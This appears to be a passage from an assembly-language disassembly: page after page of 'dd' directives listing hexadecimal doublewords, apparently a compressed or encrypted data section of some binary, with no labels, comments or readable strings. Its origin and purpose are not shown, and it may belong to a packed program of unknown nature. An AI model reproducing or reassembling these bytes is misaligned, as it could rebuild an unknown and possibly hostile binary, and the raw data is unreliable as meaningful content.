		dd 584A4363h, 0B01F68EEh, 0CC808732h, 6238788Dh, 0E346074Bh
		dd 0CFAB1875h, 4E405861h, 69C9C8CBh, 3E6A5F00h,	2437C48h
		dd 18271E99h, 82007C55h, 6132A98h, 4000D7FFh, 8CC3FE11h
		dd 0AD0343h, 0F8A83D16h, 2105472Bh, 7EA65400h, 0E90DE790h
		dd 5CC4002Ch, 5219BCDAh, 4A00C0EFh, 3684CAFh, 24A4A0h
		dd 0C2E8D649h, 28B40743h, 0DD12B501h, 45B85061h, 0E9641E0h
		dd 8AC2379Ah, 0D305A6A1h, 7048FDCAh, 0F0324C3h,	4AC894F7h
		dd 8810DB7Fh, 0F0FD5F9Fh, 49D00F65h, 0A9230814h, 1C0408Ah
		dd 0F076034Eh, 93382B00h, 0B513E67Dh, 1FCD7C82h, 9F3D81F8h
		dd 1C80FA2Ch, 7A6E883h,	24E279FAh, 32756600h, 4F84D74Eh
		dd 0FFD50097h, 0B4EA3CC4h, 45003417h, 52442168h, 313E065Bh
		dd 4A7854C1h, 0FD2CC3Ah, 0A69C8500h, 0DB9A52A7h, 0FCE200D9h
		dd 4BA14634h, 2600EB54h, 0C32BA24h, 0EECC0850h,	0F1B207DCh
		dd 9464594Fh, 60098010h, 23A8FCBh, 0A1F800A8h, 68672029h
		dd 4FC62C28h, 0A9AA01ECh, 0F089D7CCh, 0CF00440Ah, 0B7DC16CEh
		dd 8A0E34h, 9A5C217Bh, 74D017D3h, 8206A101h, 0C087E56Ch
		dd 0D8C7D8h, 52B1D1ECh,	0E9C34005h, 5300257Ch, 4B22ABC2h
		dd 17E7524h, 5A32894Eh,	0E8D0E419h, 297F27A3h, 6AB2F600h
		dd 0A6CA5EA7h, 0F4AA0004h, 0BBB06DAFh, 0FA004B79h, 0DC4F34FDh
		dd 0FB577D5h, 1DC0CC57h, 41C26CEFh, 5FC04DC2h, 83009872h
		dd 62C6B0CAh, 3319AFh, 0E8C7042Ah, 0D40D5AB8h, 8074FF3Dh
		dd 5710DA60h, 0F883B903h, 68D00D8h, 8614FD95h, 3500BBD2h
		dd 311D892Bh, 2541B9h, 745106A3h, 4E525B03h, 0B293D200h
		dd 1A8F73E8h, 0D75313DDh, 699C00BFh, 0CD65C26Dh, 0F4853B00h
		dd 9149C48Dh, 30E860h, 739EB292h, 786E7DCBh, 0FAE87000h
		dd 9718B059h, 0F47B1EC1h, 83BD872Fh, 4840F18Dh,	0E4ED600Dh
		dd 0A35C1403h, 0B988A916h, 56309363h, 0D6970012h, 106A6132h
		dd 607C7DB9h, 86901C00h, 89B2EC5h, 0DF81014Ah, 89A1919Eh
		dd 0CC7AE0D3h, 220A5360h, 11C3E7h, 31642F0h, 41EC1215h
		dd 0C76A2300h, 0B4DA468Ch, 17C00019h, 744A423Ah, 800A80Bh
		dd 3E4C754Bh, 3D9B73h, 5D4E8CADh, 0C519EC6Eh, 24145A00h
		dd 0A694C125h, 83E002h,	0DC97FC6Dh, 51702CC3h, 69AF000h
		dd 0DE813EF4h, 1DE90002h, 29508E25h, 6F00754Fh,	94526796h
		dd 3809BD69h, 0A400EA2Fh, 0D87C0782h, 8039E9C4h, 74B0097Dh
		dd 4D560021h, 92DB91h, 32EC8F8h, 1150C329h, 5F67440Fh
		dd 5D012005h, 3DD5C7h, 260DDAE6h, 824998F5h, 8774A01h
		dd 0D4637550h, 0C8D01871h, 1906002Bh, 0E7BCEAC6h, 55006F4Bh
		dd 53705B86h, 51F06Bh, 0ABC85E75h, 0D8E5A9B8h, 8500D177h
		dd 4CF2DCEAh, 897458h, 0FC66EBD4h, 5D719052h, 85AC8000h
		dd 6A2EC922h, 4BEE1C55h, 101E7ED5h, 2BAEC051h, 3C0FDF0h
		dd 689F300h, 4C418CAFh,	42670075h, 3399CB1Fh, 0C438C2EFh
		dd 3114804Ah, 5E044669h, 4E581E6Ch, 907D8025h, 0B4FE2F0Bh
		dd 1A45DA00h, 4293C9CDh, 56290098h, 7C58C399h, 2E00905Ah
		dd 7B05F569h, 0E4246EBh, 27754D6Fh, 0D5B00017h,	0A14A858Dh
		dd 17EBF801h, 9A92FEB3h, 77A3D9D8h, 0AB4B0367h,	94327866h
		dd 0EED5C490h, 0E8194200h, 0C9C7933Ch, 75480FCEh, 0F8E0C6ACh
		dd 94D12E7Dh, 2DE18100h, 0AC13B27h, 0CA033D02h,	89080700h
		dd 1E907519h, 0C2D37D00h, 20449DBEh, 95C11D05h,	8BD0CEA3h
		dd 6109C380h, 0CC00C481h, 0F7F0167Fh, 3AA9D40Ch, 0DCA5D006h
		dd 0E41480D7h, 392EE091h, 0E6802466h, 0DFB94B39h, 1F005B82h
		dd 45C63842h, 0C4F964h,	83028485h, 60D78A89h, 0FE508200h
		dd 3C70228Bh, 0E754009Dh, 0F0EACE64h, 530075DBh, 0CC88FF17h
		dd 7E38E9E2h
		dd 5E070C5Ah, 0B6A28304h, 0DE171303h, 0F178FF10h, 2660660Bh
		dd 0B0F00Ch, 25FA453Bh,	5CF00D74h, 406C21Fh, 21A9DAC0h
		dd 168BDFh, 50176655h, 19458940h, 0B70FF200h, 33310308h
		dd 0E94300CCh, 3A3B0A60h, 741E3546h, 36000E67h,	261F0954h
		dd 0A03F0095h, 4F665001h, 0B008102h, 0A6F2B752h, 3032FA53h
		dd 755E0D45h, 0A9076241h, 2AD8A2B9h, 64178ED0h,	1F20047h
		dd 4EEC8238h, 270134F3h, 5DC04A8Fh, 1BCD2E6Bh, 1D99DCh
		dd 0EDA5FA29h, 0FBBB6001h, 2481660Bh, 1980FF7Dh, 258A2976h
		dd 0A00074F6h, 530DE1FFh, 6731579Ch, 50F248D9h,	45B398Eh
		dd 1CF4E83Bh, 6A80803Fh, 4E268D0Ah, 4F740008h, 0ED8C03E7h
		dd 7D00E91Eh, 3C51AEE0h, 0F1250F6h, 23AB4056h, 9F53D20h
		dd 0FC0101EAh, 22FEC9B3h, 0BE88565h, 3AFF450h, 7FF64269h
		dd 20E70E32h, 3C65BE58h, 0E7215317h, 0DD121FFFh, 45CF0011h
		dd 13BE0E62h, 0B0D47100h, 8C9D4792h, 3CA4070Ch,	5090A303h
		dd 83D5ECBDh, 0AC68501h, 52C77853h, 0F854ECh, 50908603h
		dd 4D07E924h, 83376400h, 8A84AD2Ah, 91480543h, 0C09B124Ah
		dd 30413201h, 0A8FEA973h, 42BAB800h, 15730ADCh,	0C93D0045h
		dd 0DA4B5A1Ch, 57004D82h, 3C47E194h, 0CFDC21h, 44D88871h
		dd 0EE39FEC7h, 1AE04A30h, 0C55E9h, 9348949Bh, 0B681D291h
		dd 75393Eh, 0AA51F527h,	4F42EDh, 0E31224A6h, 0F687477Ch
		dd 10939504h, 7C8014BFh, 740A25Ah, 0E802F49Dh, 0F5687791h
		dd 0F856C0DBh, 0D31C25FEh, 28DF582Ah, 89F20380h, 2CE4542h
		dd 5C261CC0h, 405D217Eh, 183CDC18h, 10352350h, 5F00C212h
		dd 0A18FC32h, 60C48554h, 0D031C4D4h, 873C7E1Bh,	4DAF8190h
		dd 0EE41058h, 121760E4h, 0BD90ABCh, 0B68F0882h,	3740EBA0h
		dd 523FD655h, 344380A5h, 0FC570DDBh, 867F00A8h,	104512B5h
		dd 0CC03FA91h, 0CA73B817h, 6BE000E2h, 1182DE4Ah, 55001F62h
		dd 0A48A3E19h, 13399Fh,	0B2EBFB54h, 9CB8C26Ch, 81D40938h
		dd 2978064Fh, 58619E11h, 0F3AFC8h, 0F7DC2074h, 4CFDE002h
		dd 54112300h, 83D24222h, 0D44800C1h, 0C925A7F2h, 0E2021975h
		dd 74A47F72h, 8EC7E0FBh, 71F70EB4h, 85E02CF0h, 0E387831Ch
		dd 500002F2h, 0FA16E98Ah, 3F930BD1h, 851F8DC3h,	4B14032h
		dd 0A83A1029h, 0A27D3Bh, 631277Eh, 3C432Bh, 530C63A1h
		dd 5D93CA24h, 0E01F1FE4h, 0FE3BF8h, 0B2830F28h,	308D8Bh
		dd 0E81E4053h, 6B3C1219h, 1876B3F6h, 4F07F400h,	8A05C283h
		dd 5F3203F5h, 0FFFA9629h, 8625DFB0h, 6A0033FAh,	0F1450B0h
		dd 189F87h, 6F22832Dh, 5940EFF7h, 0BC895407h, 0FAB04975h
		dd 0D1C680h, 83740567h,	724FBA68h, 0F021D605h, 0F780753Bh
		dd 488063h, 74182D7Bh, 0C69F3F3Ch, 8A424B00h, 0D241652Ah
		dd 478100EFh, 17C5625h,	6800625Bh, 12F03918h, 1DBDDA1Ch
		dd 0C07FC9A0h, 564767B6h, 6A4CFE15h, 340015Bh, 9EC75281h
		dd 772F9CCCh, 0BE053E86h, 44CA5900h, 8475F8A7h,	0FC1C400Bh
		dd 0DF3A0953h, 142B080h, 743CC23Bh, 226C000Ah, 0F4CF286Eh
		dd 4DE9009Fh, 254013A9h, 743AE448h, 0F74A829Dh,	60553899h
		dd 0EB75949h, 611DE1ABh, 51889A38h, 790B6603h, 0C88FC743h
		dd 714A610h, 3758E1A5h,	0E4069159h, 8EBD4092h, 4D786599h
		dd 0EA058DECh, 0B8E0A02Fh, 0F08B67C3h, 1B49B7Dh, 5D3EEBC2h
		dd 21E6AD71h, 0CB9A60CBh, 0DBC04D00h, 7C2FBADCh, 63760022h
		dd 5D50EA53h, 691FC973h, 5B1FFC96h, 97B89880h, 1F86D71h
		dd 679D18C2h, 0E0E22D24h, 7C7F1CD7h, 0ADD45C04h, 4980CDD8h
		dd 74F45969h, 0A5270379h, 8867DD25h, 12D865ABh,	5513B2ECh
		dd 20B8D0E5h, 1797EA00h, 0F8A53D23h, 15286728h,	0CCB3DF01h
		dd 484666C4h, 2F55DCh, 99C76806h, 0AB6E1597h, 54B34B33h
		dd 89DDD8CBh, 0A36800CFh, 0DA90E805h, 0B001E2Dh, 71D3A009h
		dd 78F25274h, 12FEB4h, 0E15AE659h, 708EC6Bh, 0C71C6300h
		dd 0BF0244F6h, 0C57284h, 0E28CB895h, 573FC9E4h,	13B07E00h
		dd 1541FF4Dh, 7B3C0040h, 273B9591h, 7800CB69h, 7EFDDA92h
		dd 90C916h, 0D302D088h,	49F3D69Dh, 18000574h, 955B1C36h
		dd 24588496h, 28FFF01h,	4E1E2B2Eh, 0C1574740h, 2894200h
		dd 598CF986h, 3FFCFAh, 78C89F0Ah, 9A4D1025h, 0FD45140h
		dd 53B05297h, 4009EB60h, 3500DE2Ah, 8CEEF992h, 1F5888FDh
		dd 43A63C24h, 2149B11h,	0D15298D0h, 8034F03Bh, 0B948A2FFh
		dd 0FFC097Bh, 0E946DADCh, 4D000D3h, 0D840FD2h, 39EE0200h
		dd 28ECC336h, 768390F6h, 0A350008Fh, 1466D4E2h,	3A00D845h
		dd 0DB138D16h, 39A53EBh, 0BBD3FBACh, 7BE0B603h,	3C00E340h
		dd 0AB866711h, 0E27D049h, 0CF467107h, 801DE800h, 4D7F0326h
		dd 59C11700h, 62478CD5h, 3CD91DB6h, 58CE45D2h, 6F2A8066h
		dd 103BBF86h, 233EAC45h, 4B074703h, 0B4C7E825h,	8230014h
		dd 0A9A1F9CFh, 70F50212h, 2B2C1CBAh, 881D3706h,	1BAC2040h
		dd 0E3D01h, 265A366Bh, 0BF4D50EDh, 0A1CD1C00h, 0A094C3C9h
		dd 453055Dh, 0E1D79C4Ch, 333E818h, 0A4140800h, 0C415BB86h
		dd 582BF01Dh, 5003835Dh, 78AD0364h, 0DEB014EBh,	0F1071EA8h
		dd 1832825Eh, 0C04B050h, 4C9F05D3h, 80DE7E75h, 83E9D5BEh
		dd 3A1D7B77h, 308F03C9h, 9D14020h, 14266Ah, 48A0AC52h
		dd 2C82B718h, 663DFB98h, 8A98009Dh, 0C321C954h,	2B8E2699h
		dd 71780158h, 0C4453561h, 0AD001238h, 14EB7F33h, 0B2C4396h
		dd 2F847D18h, 90DDC980h, 324C826h, 3F17E3FBh, 0A1575A00h
		dd 50CFFD2h, 83CD3B24h,	87D30023h, 0F210D455h, 127D600h
		dd 0B018C0F1h, 24C4070Eh, 302814BDh, 40CB439h, 0B376871Dh
		dd 0C884B900h, 17E902h,	0A2DD47E8h, 7E82F0BCh, 0B143A300h
		dd 0F37D08E2h, 0FA3D0364h, 1EF2FF4Fh, 387FEDF8h, 81430400h
		dd 0BFB31853h, 0BA0250A7h, 1EE2003Ch, 93843042h, 0D05C20F4h
		dd 40DE0052h, 2C34E4A1h, 0BD8500F8h, 5938C843h,	7A000BFCh
		dd 0C9535F84h, 2E8822h,	0B8C10104h, 4E603F10h, 3437BF1Fh
		dd 0C7E50A03h, 6575C8FCh, 537D00FFh, 28521BC1h,	90011D45h
		dd 74F685A5h, 55200F5Fh, 8B391ED1h, 0E5803AEEh,	0FDC44BAFh
		dd 0F202A6FBh, 3E642C25h, 0E018425Ch, 68548Ch, 96F809A4h
		dd 75FF9240h, 18492201h, 8E9BF12Fh, 4320C121h, 0C6B055h
		dd 0F4C5E987h, 422B610Ah, 0E8408200h, 9A57A34Dh, 517D0332h
		dd 0D444C960h, 0F77E88B0h, 3F509600h, 225BA38h,	0A786007Bh
		dd 6C8331C1h, 0F000CD71h, 3624EB62h, 53FE04h, 0F7E88AFBh
		dd 4B1E433Ah, 0A078756Fh, 8CE2FF03h, 11D507FBh,	0E0DE9421h
		dd 7EF0E599h, 84233200h, 31D016A9h, 96544C9Eh, 4A210075h
		dd 20622464h, 97EA433Ch, 18850400h, 0B2557329h,	486A02F3h
		dd 2BF0F449h, 35C5CBE0h, 90A93700h, 93075DD3h, 2AE10010h
		dd 5FEB5530h, 0BD008018h, 2FD73B3Eh, 0E30D72h, 730E1F3Dh
		dd 2ACAC106h, 81FEBECh,	87C3F83Ah, 0E8E6E375h, 5E9F8Eh
		dd 0DC102DC0h, 0F61CE881h, 16442200h, 0BC88EFC3h, 7B92004Fh
		dd 84FE2D2Ah, 0E60F5053h, 0C04BAC4Dh, 29A1E0E8h, 89853F42h
		dd 9CF58C81h, 0ECA83EF4h, 0DDEADAC7h, 1CBC530Eh, 0EE4B609Bh
		dd 0EE4692Ch, 5427D2A5h, 89051360h, 12006BA4h, 3C9FFB5Bh
		dd 1107053h, 88E22A11h,	0D9182134h, 4C0DD851h, 87493800h
		dd 50A28C91h, 907515h
		dd 8041FAD2h, 406AF633h, 30FFE21Dh, 902D7580h, 0F66070Bh
		dd 5A4D3881h, 78832400h, 7400E03Ch, 82801E4Bh, 768F303h
		dd 5615FC99h, 8108A023h, 4500503Eh, 27414C6h, 38F6B572h
		dd 3CF069FCh, 24006AF0h, 0EB4EBB28h, 0FE744A5Dh, 1A83121Ch
		dd 5F1F0240h, 90136574h, 72D9008Dh, 841464DBh, 0EB730C62h
		dd 7839F602h, 6031B849h, 5021F8FCh, 79E7C53Fh, 34BA3E46h
		dd 91005FD8h, 525AB774h, 0D5002367h, 8E037F86h,	5C16EB3Ch
		dd 0DA00CB77h, 0C8D0D73h, 0D103DD33h, 7B84CF21h, 9C963B04h
		dd 0E490E58Bh, 0C4C5700h, 0BE006C5Bh, 4EC426A3h, 265EA10h
		dd 0D08FABBCh, 0AA406982h, 900F4916h, 770A120h,	6B77880Ah
		dd 0C689AC90h, 31FC020Eh, 0CACF49C9h, 0B2C09740h, 0C87030FCh
		dd 19E98800h, 0B6F28AF1h, 66182708h, 784BA077h,	89351209h
		dd 440E0C34h, 0DA1C4275h, 9B803E80h, 0D2F75BD3h, 25D100E4h
		dd 57AD089h, 0B928C8ECh, 4B00C4B7h, 72D54442h, 6B0EBh
		dd 2ECBE1F3h, 16867799h, 0B4C30330h, 5F547Dh, 50B9B3A7h
		dd 33135CEAh, 0AF530100h, 58AE9E35h, 28680FA0h,	5C60B55Fh
		dd 50895294h, 59B18500h, 8A0BD123h, 0D8800002h,	0A126758h
		dd 42F05F2Eh, 0F0754905h, 0B7ECA1B0h, 92BDC00h,	0F35D5AF9h
		dd 79A55401h, 0E5957458h, 29FD7280h, 5BC85614h,	0D7FCD200h
		dd 9857701Ah, 78402E4Ch, 6040729h, 0F44AF0A3h, 0BF00FE41h
		dd 1D17BD82h, 0E6E3E80Bh, 2585002Dh, 0C65A4F78h, 733F61B2h
		dd 1B770019h, 0AE933B3Ah, 591A2675h, 0BA8100DDh, 3021C2Fh
		dd 86EFD81Dh, 54971100h, 3C3969Bh, 8A0A9BCh, 0D1D848EBh
		dd 2A383988h, 16E6F91Bh, 52432D00h, 0E923BCC7h,	20B8F2h
		dd 18583BBDh, 2F73820Fh, 4F93B200h, 22C43DAAh, 591004F0h
		dd 8394E22Dh, 51B360E9h, 0D5B80CB0h, 0B9013100h, 0D75C2042h
		dd 0B871E645h, 13F270B5h, 173EFE08h, 272F0039h,	0BAF7E07Eh
		dd 893055FEh, 80093AF4h, 0B72009F1h, 0C58302F9h, 0FFE8B204h
		dd 0CD9E567Ch, 6A513800h, 9A9C73h, 95880813h, 977CB85Ah
		dd 0C5BBF400h, 1561EA0Ah, 0F1100003h, 4912510Dh, 0A4581D0Eh
		dd 802C3F8Ah, 5E077562h, 0F8CA28h, 48EFE842h, 0A0E0FF96h
		dd 65E4C800h, 0DFBCBA95h, 7C60000Bh, 44AE545Fh,	0AD7BE093h
		dd 6972000h, 1A2643C6h,	4EB0001h, 7893DD0Dh, 540022CCh
		dd 2C085011h, 1E6D799Fh, 4057F12Dh, 730989F0h, 4600C630h
		dd 0F34E8DD6h, 0DE8CADh, 258B5967h, 0CBEFB91h, 5021C607h
		dd 28F0B256h, 0FEADB5DDh, 76D0FB59h, 30D11E20h,	0D5C5876Bh
		dd 751C5081h, 1EC339CFh, 80B1D62Bh, 0FD9B7Eh, 10E87349h
		dd 1EBB92D4h, 6328100h,	8E004E4h, 0D81F00DCh, 0A8F355D3h
		dd 0C4003121h, 0D6BDAEFBh, 9820A9Ah, 5FFE65CBh,	4F1A180h
		dd 5802EA81h, 0B3542F78h, 2ADDE0C4h, 0F5C20216h, 5F2664A2h
		dd 8A9360E0h, 831E4712h, 18446700h, 2E6689F7h, 30FC27Fh
		dd 0A4504824h, 0C9F858E0h, 6205D00h, 75894EF0h,	0F64A05BCh
		dd 0C0762CB4h, 0C7B3466Dh, 9D0F5000h, 1F2F2D82h, 5A901E55h
		dd 0EA484097h, 0CE223746h, 750058F4h, 196577EEh, 514B011h
		dd 3B398285h, 0B0AF8718h, 45807534h, 1AC5EC00h,	0EBE0176h
		dd 0CA020061h, 0D9A4AF06h, 0FE730D13h, 0C7958600h, 0AD775304h
		dd 5F8B00AEh, 0FB7D80C2h, 0CDEE88F0h, 2F008D7Bh, 0C715C663h
		dd 0B86F110Dh, 0E4101201h, 0BCFA0282h, 7E609D2Ah, 0DA0333EAh
		dd 7468C075h, 0C03FB331h, 35817A9h, 3E7995CEh, 1CE07567h
		dd 0F35EE26Fh, 0DC00F5A8h, 5114F669h, 4800B7DFh, 268DD83Bh
		dd 7A011A1h, 0AF07BA12h, 0D4F17174h, 7D85E454h,	5C38591Eh
		dd 0CAF23F00h, 1E74032Dh, 8562CCD6h, 0C09118AAh, 645A0A94h
		dd 3EC510Bh, 454500B5h,	1E05BAD4h, 5077D2Eh, 0FEAA81C4h
		dd 0C0FD2FC2h, 0E3AE87h, 0CAB541Ch, 6238FE95h, 0A032D32Eh
		dd 0FF22B400h, 0EE7384h, 0B0109C72h, 4BE7E968h,	8D2B60FBh
		dd 91DD9500h, 8C2E63E1h, 931313F0h, 420F003Fh, 0A6B1EB70h
		dd 0E7772200h, 0C75F4086h, 2C835C90h, 0C049F21Fh, 6A138C23h
		dd 0B500F4EBh, 7385DB51h, 16BA0221h, 0CAB4F2h, 53222A75h
		dd 0D800720Dh, 52C38A1Ah, 72865E01h, 0A76900E9h, 80D7B021h
		dd 334CCD38h, 401100B1h, 742E120Ah, 94D80066h, 0E0F42201h
		dd 1700FFFAh, 0C01D7525h, 0F467FE50h, 837713h, 0B2C9BF02h
		dd 0B152535Ah, 8AB32100h, 80C1B75h, 64560797h, 0E0D3220Fh
		dd 9E060DC9h, 5CE22B00h, 982D14E5h, 743300E9h, 4F9F6828h
		dd 5EF6FB42h, 0AA195507h, 3FAF18CBh, 463264C1h,	29EC4B35h
		dd 0F17B00ECh, 8BA1A490h, 82039F1Ah, 2717677Dh,	7F319177h
		dd 2E7142F8h, 0A07BEh, 66A01D8Bh, 79003064h, 0F6035FF8h
		dd 7AA1C6B8h, 5C97009Ch, 0D82E53A3h, 4D0B5BD0h,	0A94210h
		dd 4A445A6Ch, 9BBA1DCDh, 0CBA600C3h, 0FAE6C47Fh, 2FFB9E03h
		dd 0E01A57FCh, 293865h,	0D8DB3BA7h, 345D36E3h, 6C12A5EEh
		dd 0BBF49Bh, 6A0FE00Eh,	0EBEC9D01h, 1A0A9900h, 0ABC48688h
		dd 6753A29h, 0A1BD9000h, 0CAA73D68h, 0A8155D01h, 0B2BBFB92h
		dd 0EAD7C0h, 994AD02Dh,	0A436A010h, 763E8800h, 7D540AFDh
		dd 385F00BAh, 0B805D5E7h, 0EFA058CCh, 1CE2158Ch, 2CDF8900h
		dd 0B50ED494h, 0B0930383h, 0F0B86D5Ah, 2B89EFB0h, 59F46A00h
		dd 0E20E53F8h, 0EC480022h, 63C5035h, 0CE0FA63Dh, 0A0A11328h
		dd 0A03EBC96h, 0FCA4001Ch, 60C40647h, 0F24C3468h, 7890326h
		dd 0C0BBFD85h, 0BC5C58h, 0C275F803h, 0D35BC068h, 0DF29BF00h
		dd 669CDC88h, 7CCF842h,	6C4617B6h, 0A034B021h, 64394C9Eh
		dd 0EC62003Ch, 0D5F8101Fh, 27973A4Eh, 0F0F47AFFh, 48EE0Dh
		dd 0EF38DB79h, 0E552EE19h, 8F02333Dh, 0E1644414h, 4CE36837h
		dd 13AEDCCh, 54203D61h,	0F8430C7Fh, 8FA34B1h, 0C422B900h
		dd 0B32BAB2Dh, 0BB580012h, 0D6154E25h, 1D7F943Bh, 49792AC0h
		dd 72656B3Ah, 5E3C2466h, 36B401F3h, 302CD94Eh, 19074246h
		dd 82EB9A90h, 2A230360h, 584507B6h, 0B301B7AAh,	1EE83724h
		dd 62126A99h, 0B90136A7h, 4B03A045h, 4E52D0h, 7CF04C9Ah
		dd 9ED4475h, 0A954F513h, 419ED900h, 1CCA56DCh, 0C01C4950h
		dd 745F6547h, 0FCF161EDh, 7A037B64h, 20C37371h,	0BF69D852h
		dd 78450091h, 66DDF663h, 4CFCA0D3h, 73007CFCh, 4518F99Dh
		dd 0F0106D53h, 31880024h, 0C9028B62h, 3B00082Dh, 0DDD6F8E1h
		dd 0AD8D79h, 28FCD489h,	9C3A7D72h, 572EEA00h, 86CA3E62h
		dd 0C9113EF4h, 0EFE20683h, 26B05C78h, 5812753Dh, 9E008415h
		dd 0C74A8B28h, 11E21E3Ah, 0E8C000A5h, 0C4EAEF27h, 0D22E4F00h
		dd 2071740Ah, 7D7E02h, 0F9EEE7E0h, 453DB664h, 0C42A0800h
		dd 0CBC70D14h, 439E00D6h, 3F816605h, 0FD0025FFh, 26E83DD2h
		dd 1C6CEFh, 1E389507h, 0AA2769C4h, 0A6D6241Dh, 0E0E85A8Fh
		dd 0EE3AE1B5h, 91670053h, 0C64E3E10h, 3F034F55h, 4B7AD2B1h
		dd 0D875CBC9h, 0C3FA50h, 6F0032Ah, 26F3F85Bh, 80CE103Bh
		dd 52E22C92h, 0A46DA7h,	0B3446BEFh, 0C308BB43h,	0CA535026h
		dd 0F53B1700h, 0E68B828h, 0D2395411h, 89782B40h, 6A000AC8h
		dd 0A7B052B2h, 7CA10974h, 0EAD1F4CEh, 713800EBh, 0BD5EBFAAh
		dd 9007D0Eh, 5478D68h, 0FE63ECE2h, 0D52C0378h, 0A06171Dh
		dd 0C20146F0h, 6900E8ECh, 1505ED39h, 0FE388934h, 65C31FBDh
		dd 6581E542h, 0E0A00E6Eh
		dd 2B00DE8Bh, 81E41C5Dh, 714FBh, 646885BDh, 162F8629h
		dd 8AEAAC00h, 0E455121Ch, 4A4800F7h, 278358E0h,	2B3B04EBh
		dd 5F9E9F68h, 7D19F3C0h, 0F05497h, 0B4517F52h, 38783644h
		dd 324638h, 33D08B56h, 0FEBF6h,	80068A7Dh, 5742FF9h, 5C5F0A00h
		dd 42F29007h, 0F3A00D7h, 0ABD0EC09h, 0A6000354h, 0FCC34A5Eh
		dd 7C75F7F0h, 17E51753h, 42470030h, 0B8A0D73Ah,	0DF822900h
		dd 0FCE488D1h, 7E3700BEh, 95EB1C7Bh, 177892F7h,	0DA19A10Fh
		dd 3CA900EDh, 0FD3E8Bh,	9A708845h, 0C94F943Ah, 1241520Eh
		dd 0F4538024h, 284ADCh,	6389E2C1h, 3C7B8E5Dh, 3B7CE800h
		dd 5C033A78h, 1D1C003Fh, 40F61304h, 5F0B148Fh, 34A5A5Bh
		dd 0F16886E4h, 6520C13Bh, 0F0A61C8Ch, 209FBD8Eh, 0D9B5001Ch
		dd 301BAD96h, 0BE95D500h, 4A4D8EBFh, 687F3F73h,	0C49D5100h
		dd 45EB3E70h, 34A97D0Eh, 35C07EE4h, 2147D3BDh, 506F00E0h
		dd 2F58107Ah, 93F8B702h, 0FEE96E05h, 0CB010FFFh, 0C231A26Ah
		dd 0C0428820h, 2E06BA34h, 0EEFF23A3h, 0E59BC05Fh, 0F8DC00BBh
		dd 0BF94B054h, 5B0263D0h, 78DFE964h, 322861ACh,	1331803Bh
		dd 0EFFC6C75h, 625C2300h, 0FDFB447Ah, 0BEE70361h, 0BB4EDF1Eh
		dd 792C63F8h, 0F86D5E1Dh, 202ED980h, 0F72A6Bh, 4C7D62AEh
		dd 7986E34Fh, 6DDCE03h,	0D8ACF63Ch, 641A53h, 0B38D702Eh
		dd 14B67582h, 52509F07h, 0FBC15DCFh, 0B9EC4E78h, 0F88400F0h
		dd 6BB453FEh, 74039714h, 0FABD0DA7h, 48C2F81Fh,	0E8830002h
		dd 30B83AA2h, 202C264Bh, 0B501D512h, 762C4306h,	0F00A89D0h
		dd 0EF6D099Bh, 0D88029FEh, 66C78B3Fh, 547E9AFCh, 0A9165Ch
		dd 55FC4492h, 51930Fh, 0CF10B22h, 16F8678Bh, 0CFBE7503h
		dd 0B0381ACEh, 0C0103Ah, 0FE124B1Ch, 74C9DD6h, 7D00ADB0h
		dd 0CB51ACFCh, 972F10h,	4F022944h, 7E12A90Ch, 8F0B870Fh
		dd 31F9802Dh, 1CE3543h,	9422274h, 0D9192436h, 0E910D137h
		dd 1C85E83Ah, 83B8B73Eh, 8CEC7DC2h, 33C0EFA5h, 0EF57519h
		dd 4D88982Bh, 8669680h,	553D4126h, 0EB3B9C4Bh, 39F98443h
		dd 8AEA0715h, 70F8AB27h, 4B8296ACh, 4A337C00h, 0F2F5EB8h
		dd 51760084h, 38F1DFABh, 413FAF98h, 2CB9C7h, 951DAC9Ch
		dd 0E106097h, 5EFF483Bh, 8D1C3040h, 0DF7A0853h,	0C1E1500h
		dd 0ABF656Eh, 4A4B00EBh, 42203911h, 0E526695Bh,	0C80001C9h
		dd 0F32D91Bh, 79E005Ch,	830E731Eh, 8D3E0401h, 0B490F485h
		dd 8074F83Fh, 0DC8265BEh, 0EDB71069h, 774BC0h, 155C81Eh
		dd 0CBD52EC9h, 0A2F91600h, 64146E09h, 7507846h,	70965534h
		dd 0C6B75160h, 3ED7F092h, 0FCFC73Fh, 61E9E0E5h,	6C79FE9Fh
		dd 1FC5E2C4h, 0C0146A43h, 0E958C08Fh, 1CB82EF1h, 5C087D00h
		dd 3F840ADh, 0B93500B4h, 0EF8B0689h, 0A5EE795Dh, 4B437000h
		dd 460307C0h, 0C3E0048h, 0F02B0A33h, 0E800244Ch, 592556AFh
		dd 12EB007h, 0C8471F8Ah, 0E44E4034h, 49004423h,	16051F2h
		dd 71EBB1h, 37195E3Ah, 2A41775h, 50A08900h, 2ACAD555h
		dd 7F230F40h, 0CF40D82Bh, 38C852EBh, 907C3903h,	0BF366425h
		dd 1A296A80h, 185FE17h,	72F107A6h, 0D08E924Dh, 0EB007534h
		dd 0D04AD58Bh, 20BA61h,	0E36E9E65h, 408D85E1h, 80CFAA00h
		dd 423F3908h, 3A980F59h, 0FCBDE03Ch, 1B1FA2BCh,	0C8D6ADB2h
		dd 8A904E07h, 0C03EE6F0h, 82060050h, 12AEF392h,	0BFFE0156h
		dd 30FB6C00h, 2F144184h, 4C453E06h, 0FA950072h,	0C3F43CE9h
		dd 3A00EEDBh, 100821FCh, 75188A74h, 931C0205h, 9BE842BBh
		dd 40F59061h, 59C474DFh, 13305F1Fh, 0F8E895DEh,	0D9008275h
		dd 202ABF22h, 7AED0Eh, 59D474BDh, 1C9AAAD7h, 5424D207h
		dd 0F5407F82h, 7995ECB4h, 0FC21771h, 20860F76h,	9FAB7200h
		dd 0DC5EE051h, 0EEF1B5F1h, 857C0A80h, 4190B138h, 89B62B00h
		dd 276EAED2h, 8178B7h, 1DC2881Ah, 0F222287Dh, 0A84ACE00h
		dd 0FDBD11B9h, 0B80B004Bh, 0A443465Ch, 10009AABh, 0BC998EECh
		dd 0C7555Ah, 8870540Eh,	3C9EDF8Fh, 0FF72E300h, 5DADC815h
		dd 0F9340031h, 7F1CE17Eh, 7300E90Eh, 0ECED33A5h, 0FC0C8BA9h
		dd 5C490036h, 12401D4Dh, 0E00BCC7h, 590546A1h, 3D8F6F11h
		dd 7222DCh, 0AF202414h,	0E8DBF93Bh, 468CF50Ah, 0DF05FE52h
		dd 51C71021h, 74288D30h, 6C030337h, 0E365FDCEh,	22261993h
		dd 52005D08h, 1666C4FFh, 42770004h, 0FD2AFBF8h,	111F32E3h
		dd 24400846h, 0BF2B4822h, 708B0044h, 2CEB256Dh,	4E00A471h
		dd 832019DFh, 79935145h, 0C0394B13h, 9216B691h,	60230400h
